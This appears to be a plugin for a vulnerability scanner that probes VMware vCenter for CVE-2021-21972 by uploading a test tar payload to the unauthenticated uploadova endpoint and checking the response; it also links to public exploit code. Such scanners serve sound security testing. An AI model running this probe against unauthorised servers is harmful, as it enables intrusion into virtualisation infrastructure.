#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
VMware vSphere Client RCE (vCenter 6.5-7.0 RCE)
    CVE-2021-21972
        Payload: https://cloud.tencent.com/developer/article/1851605
                 https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/

vSphere Client
    （HTML5在vCenter Server 插件中存在一个远程执行代码漏洞，
    未授权的攻击者可以通过开放443端口的服务器向vCenterServer发送精心构造的请求，
    从而在服务器上写入webshell，最终造成远程任意代码执行
'''

from lib.initial.config import config
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            # * Linux Payload
            {
                'path': 'ui/vropspluginui/rest/services/uploadova',
                'file': 'payloads/VMware/test.tar',
            },
            # { # 暂不支持
            #     'path': 'ui/vropspluginui/rest/services/uploadova',
            #     'file': 'payloads/VMware/Linux.tar',
            # },
            # # * Windows Payload # 暂不支持
            # {
            #     'path': 'ui/vropspluginui/rest/services/uploadova',
            #     'file': 'payloads/VMware/Windows.tar',
            # },
            # * Response status_code == 405
            {
                'path': 'ui/vropspluginui/rest/services/uploadova',
                'file': '',
            },
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'VMware-vCenter',
            'vul_type': 'RCE/Upload',
            'vul_id': 'CVE-2021-21972',
        }
        
        headers = config.get('headers', {}).copy()
        del headers['Content-Type']
        
        for payload in self.payloads:
            path = payload['path']
            file = payload['file']

            if file:
                # * 文件上传测试
                files = {'uploadFile': open(file, 'rb')}
                res = client.request(
                    'post',
                    path,
                    cover_headers=headers,
                    files=files,
                    allow_redirects=False,
                    vul_info=vul_info
                )
                if res is None:
                    continue
            else:
                # * 只检测响应状态是否为405
                res = client.request(
                    'get',
                    path,
                    allow_redirects=False,
                    vul_info=vul_info
                )
                if res is None:
                    continue

            if (
                (res.status_code == 200 and "SUCCESS" in res.text)
                or (res.status_code == 405)
            ):
                results = {
                    'Target': res.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Exploit': 'https://github.com/NS-Sp4ce/CVE-2021-21972/',
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
